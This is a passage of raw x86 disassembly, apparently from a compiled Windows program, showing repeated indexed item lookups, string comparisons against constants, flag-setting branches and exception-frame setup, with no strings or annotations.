call fcn.004c2ae0
movzx edx, word [0x5ae294]
mov eax, dword [ebp - 0x650]
call fcn.004c2ba4
lea eax, [ebp - 0x126c]
push eax
lea ecx, [ebp - 0x1270]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1270]
mov ecx, 9
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x126c]
lea edx, [ebp - 0x1268]
call fcn.0058ff30
mov eax, dword [ebp - 0x1268]
mov edx, 0x5ad834
call fcn.00405ec0
jne 0x59cf2a
mov eax, dword [ebp - 0x650]
call fcn.004c278c
mov edx, eax
or dx, word [0x5ae298]
mov eax, dword [ebp - 0x650]
call fcn.004c2ba4
lea eax, [ebp - 0x1278]
push eax
lea ecx, [ebp - 0x127c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x127c]
mov ecx, 8
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1278]
lea edx, [ebp - 0x1274]
call fcn.0058ff30
mov eax, dword [ebp - 0x1274]
mov edx, 0x5ad834
call fcn.00405ec0
jne 0x59cf9e
mov eax, dword [ebp - 0x650]
call fcn.004c278c
mov edx, eax
or dx, word [0x5ae29c]
mov eax, dword [ebp - 0x650]
call fcn.004c2ba4
mov eax, dword [ebp - 0x650]
call fcn.004c2894
call fcn.004c2ea8
mov eax, dword [ebp - 0x650]
call fcn.004c2894
call fcn.004c2e10
mov dword [ebp - 0x654], eax
lea eax, [ebp - 0x1284]
push eax
lea ecx, [ebp - 0x1288]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1288]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1284]
lea edx, [ebp - 0x1280]
call fcn.0058ff30
mov eax, dword [ebp - 0x1280]
mov edx, 0x5ad834
call fcn.00405ec0
jne 0x59d436
mov dl, 2
mov eax, dword [ebp - 0x654]
call fcn.004c323c
lea edx, [ebp - 0x51c]
mov eax, 0x409
call fcn.00410a98
xor eax, eax
push ebp
push 0x59d0b8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1290]
push eax
lea ecx, [ebp - 0x1294]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1294]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1290]
lea edx, [ebp - 0x128c]
call fcn.0058ff30
mov eax, dword [ebp - 0x128c]
lea edx, [ebp - 0x51c]
call fcn.0040ea44
add esp, 0xfffffff8
fstp qword [esp]
wait
mov eax, dword [ebp - 0x654]
call fcn.004c3218
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59d0d9
mov word [ebp - 0x65c], 1
push 1
push 1
lea eax, [ebp - 0x129c]
push eax
lea ecx, [ebp - 0x12a0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12a0]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x129c]
lea edx, [ebp - 0x1298]
call fcn.0058ff30
mov edx, dword [ebp - 0x1298]
xor ecx, ecx
mov eax, 0x5ae2a8
call fcn.004ad7f4
test eax, eax
je 0x59d14d
mov word [ebp - 0x65a], 2
jmp 0x59d436
push 1
push 1
lea eax, [ebp - 0x12a8]
push eax
lea ecx, [ebp - 0x12ac]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12ac]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x12a8]
lea edx, [ebp - 0x12a4]
call fcn.0058ff30
mov edx, dword [ebp - 0x12a4]
xor ecx, ecx
mov eax, 0x5ae2b8
call fcn.004ad7f4
test eax, eax
je 0x59d1b8
mov word [ebp - 0x65a], 4
jmp 0x59d436
push 1
push 1
lea eax, [ebp - 0x12b4]
push eax
lea ecx, [ebp - 0x12b8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12b8]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x12b4]
lea edx, [ebp - 0x12b0]
call fcn.0058ff30
mov edx, dword [ebp - 0x12b0]
xor ecx, ecx
mov eax, 0x5ae2c8
call fcn.004ad7f4
test eax, eax
je 0x59d223
mov word [ebp - 0x65a], 8
jmp 0x59d436
push 1
push 1
lea eax, [ebp - 0x12c0]
push eax
lea ecx, [ebp - 0x12c4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12c4]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x12c0]
lea edx, [ebp - 0x12bc]
call fcn.0058ff30
mov edx, dword [ebp - 0x12bc]
xor ecx, ecx
mov eax, 0x5ae2dc
call fcn.004ad7f4
test eax, eax
je 0x59d28e
mov word [ebp - 0x65a], 0x10
jmp 0x59d436
push 1
push 1
lea eax, [ebp - 0x12cc]
push eax
lea ecx, [ebp - 0x12d0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12d0]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x12cc]
lea edx, [ebp - 0x12c8]
call fcn.0058ff30
mov edx, dword [ebp - 0x12c8]
xor ecx, ecx
mov eax, 0x5ae2f0
call fcn.004ad7f4
test eax, eax
je 0x59d2f9
mov word [ebp - 0x65a], 0x20
jmp 0x59d436
push 1
push 1
lea eax, [ebp - 0x12d8]
push eax
lea ecx, [ebp - 0x12dc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12dc]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x12d8]
lea edx, [ebp - 0x12d4]
call fcn.0058ff30
mov edx, dword [ebp - 0x12d4]
xor ecx, ecx
mov eax, 0x5ae300
call fcn.004ad7f4
test eax, eax
je 0x59d364
mov word [ebp - 0x65a], 0x40
jmp 0x59d436
push 1
push 1
lea eax, [ebp - 0x12e4]
push eax
lea ecx, [ebp - 0x12e8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12e8]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x12e4]
lea edx, [ebp - 0x12e0]
call fcn.0058ff30
mov edx, dword [ebp - 0x12e0]
xor ecx, ecx
mov eax, 0x5ae314
call fcn.004ad7f4
test eax, eax
je 0x59d3cc
mov word [ebp - 0x65a], 1
jmp 0x59d436
push 1
push 1
lea eax, [ebp - 0x12f0]
push eax
lea ecx, [ebp - 0x12f4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12f4]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x12f0]
lea edx, [ebp - 0x12ec]
call fcn.0058ff30
mov edx, dword [ebp - 0x12ec]
xor ecx, ecx
mov eax, 0x5ae324
call fcn.004ad7f4
test eax, eax
je 0x59d436
mov dl, 1
mov eax, dword [ebp - 0x654]
call fcn.004c323c
lea eax, [ebp - 0x12fc]
push eax
lea ecx, [ebp - 0x1300]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1300]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x12fc]
lea edx, [ebp - 0x12f8]
call fcn.0058ff30
mov eax, dword [ebp - 0x12f8]
mov edx, 0x5ad834
call fcn.00405ec0
jne 0x59d498
mov dl, 7
mov eax, dword [ebp - 0x654]
call fcn.004c323c
lea eax, [ebp - 0x1308]
push eax
lea ecx, [ebp - 0x130c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x130c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1308]
lea edx, [ebp - 0x1304]
call fcn.0058ff30
mov eax, dword [ebp - 0x1304]
mov edx, 0x5ad834
call fcn.00405ec0
jne 0x59d4fa
mov dl, 6
mov eax, dword [ebp - 0x654]
call fcn.004c323c
call fcn.0040d308
add esp, 0xfffffff8
fstp qword [esp]
wait
mov eax, dword [ebp - 0x654]
call fcn.004c31ec
lea edx, [ebp - 0x65c]
mov eax, dword [ebp - 0x654]
call fcn.004c320c
mov eax, dword [ebp - 0x654]
call fcn.004c3240
mov eax, dword [ebp - 0x650]
call fcn.004c2894
call fcn.004c3130
lea eax, [ebp - 0x1314]
push eax
lea ecx, [ebp - 0x1318]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1318]
mov ecx, 0xd
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1314]
lea edx, [ebp - 0x1310]
call fcn.0058ff30
mov edx, dword [ebp - 0x1310]
lea eax, [ebp - 0x444]
call fcn.00406438
lea eax, [ebp - 0x1320]
push eax
lea ecx, [ebp - 0x1324]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1324]
mov ecx, 0xe
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1320]
lea edx, [ebp - 0x131c]
call fcn.0058ff30
mov edx, dword [ebp - 0x131c]
lea eax, [ebp - 0x448]
call fcn.00406438
mov ecx, dword [ebp - 0x448]
mov edx, dword [ebp - 0x444]
mov eax, dword [ebp - 0x650]
call fcn.004c29d4
xor eax, eax
push ebp
push 0x59d61f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x650]
call fcn.004c291c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59d629
mov eax, dword [0x5d4868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c1d78
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59d64f
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae338
call fcn.00405ec0
jne 0x59d8e4
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b24a8
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad834
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x1328]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0x1328]
mov edx, 0x5ad834
call fcn.0058ef14
push ebp
lea eax, [ebp - 0x132c]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0x132c]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ad834
call fcn.0059405c
pop ecx
cmp dword [0x5dbd74], 2
jne 0x59d80d
lea ecx, [ebp - 0x1330]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 0x1330], 0
je 0x59d80d
xor eax, eax
push ebp
push 0x59d7b4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x609]
push eax
lea ecx, [ebp - 0x1334]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x1334]
mov ecx, dword [ebp - 0x3e8]
mov edx, dword [ebp - 0x1d8]
call fcn.0059022c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59d80d
lea eax, [ebp - 0x133c]
push eax
lea ecx, [ebp - 0x1340]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1340]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x133c]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x1344]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1344]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0x1348]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1348]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0x134c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x134c]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x1350]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1350]
call fcn.0059405c
pop ecx
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae350
call fcn.00405ec0
jne 0x59db55
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b24a8
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad834
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x1354]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0x1354]
mov edx, 0x5ad834
call fcn.0058ef14
push ebp
lea eax, [ebp - 0x1358]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0x1358]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ad834
call fcn.0059405c
pop ecx
cmp dword [0x5dbd74], 2
jne 0x59da7e
lea ecx, [ebp - 0x135c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 0x135c], 0
je 0x59da7e
xor eax, eax
push ebp
push 0x59da25
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x609]
push eax
lea ecx, [ebp - 0x1360]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x1360]
mov ecx, dword [ebp - 0x3e8]
mov edx, dword [ebp - 0x1d8]
call fcn.0059022c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59da7e
lea eax, [ebp - 0x1368]
push eax
lea ecx, [ebp - 0x136c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x136c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1368]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x1370]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1370]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0x1374]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1374]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0x1378]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1378]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x137c]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x137c]
call fcn.0059405c
pop ecx
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae36c
call fcn.00405ec0
jne 0x59de1b
lea eax, [ebp - 0x1380]
push eax
lea ecx, [ebp - 0x1384]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1384]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1380]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dbd5c], 0
je 0x59dc27
push 0
lea eax, [ebp - 0x138c]
push eax
lea eax, [ebp - 0x1390]
push eax
lea ecx, [ebp - 0x1394]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1394]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0x1390]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2550
mov eax, dword [ebp - 0x138c]
lea edx, [ebp - 0x1388]
call fcn.005939c8
mov edx, dword [ebp - 0x1388]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b24a8
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad834
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x1398]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0x1398]
mov edx, 0x5ad834
call fcn.0058ef14
push ebp
lea eax, [ebp - 0x139c]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0x139c]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ad834
call fcn.0059405c
pop ecx
lea edx, [ebp - 0x13a0]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov eax, dword [ebp - 0x13a0]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0x13a4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x13a4]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0x13a8]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x13a8]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x13ac]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov eax, dword [ebp - 0x13ac]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x13b0]
push eax
lea ecx, [ebp - 0x13b4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x13b4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x13b0]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x13b8]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x13b8]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae104
lea eax, [ebp - 0x13bc]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x13bc]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae104
lea eax, [ebp - 0x13c0]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x13c0]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x13c4]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x13c4]
call fcn.0059405c
pop ecx
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae384
call fcn.00405ec0
jne 0x59dec4
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b24a8
lea eax, [ebp - 0x13c8]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0x13c8]
mov edx, 0x5ad834
call fcn.0058ef14
push ebp
lea eax, [ebp - 0x13cc]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0x13cc]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ad834
call fcn.0059405c
pop ecx
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad834
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae39c
call fcn.00405ec0
jne 0x59e135
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b24a8
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad834
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x13d0]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0x13d0]
mov edx, 0x5ad834
call fcn.0058ef14
push ebp
lea eax, [ebp - 0x13d4]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0x13d4]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ad834
call fcn.0059405c
pop ecx
cmp dword [0x5dbd74], 2
jne 0x59e05e
lea ecx, [ebp - 0x13d8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 0x13d8], 0
je 0x59e05e
xor eax, eax
push ebp
push 0x59e005
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x609]
push eax
lea ecx, [ebp - 0x13dc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x13dc]
mov ecx, dword [ebp - 0x3e8]
mov edx, dword [ebp - 0x1d8]
call fcn.0059022c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59e05e
lea eax, [ebp - 0x13e4]
push eax
lea ecx, [ebp - 0x13e8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x13e8]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x13e4]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x13ec]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x13ec]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0x13f0]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x13f0]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0x13f4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x13f4]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x13f8]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x13f8]
call fcn.0059405c
pop ecx
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae3b8
call fcn.00405ec0
jne 0x59eca8
lea eax, [ebp - 0x13fc]
push eax
lea ecx, [ebp - 0x1400]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1400]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x13fc]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
lea eax, [ebp - 0x1404]
push eax
lea ecx, [ebp - 0x1408]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1408]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1404]
lea edx, [ebp - 0x3d4]
call fcn.005939c8
lea eax, [ebp - 0x140c]
push eax
lea ecx, [ebp - 0x1410]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1410]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x140c]
lea edx, [ebp - 0x3d8]
call fcn.005939c8
lea eax, [ebp - 0x1414]
push eax
lea ecx, [ebp - 0x1418]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1418]
mov ecx, 9
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1414]
lea edx, [ebp - 0x3dc]
call fcn.005939c8
lea eax, [ebp - 0x141c]
push eax
lea ecx, [ebp - 0x1420]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1420]
mov ecx, 0xa
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x141c]
lea edx, [ebp - 0x3e0]
call fcn.005939c8
cmp dword [0x5dbd5c], 0
je 0x59e4d7
push 0
lea eax, [ebp - 0x1428]
push eax
lea eax, [ebp - 0x142c]
push eax
lea ecx, [ebp - 0x1430]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1430]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0x142c]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2550
mov eax, dword [ebp - 0x1428]
lea edx, [ebp - 0x1424]
call fcn.005939c8
mov edx, dword [ebp - 0x1424]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
push 0
lea eax, [ebp - 0x1438]
push eax
lea eax, [ebp - 0x143c]
push eax
lea ecx, [ebp - 0x1440]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1440]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0x143c]
mov ecx, 2
mov eax, dword [ebp - 0x3d4]
call fcn.005b2550
mov eax, dword [ebp - 0x1438]
lea edx, [ebp - 0x1434]
call fcn.005939c8
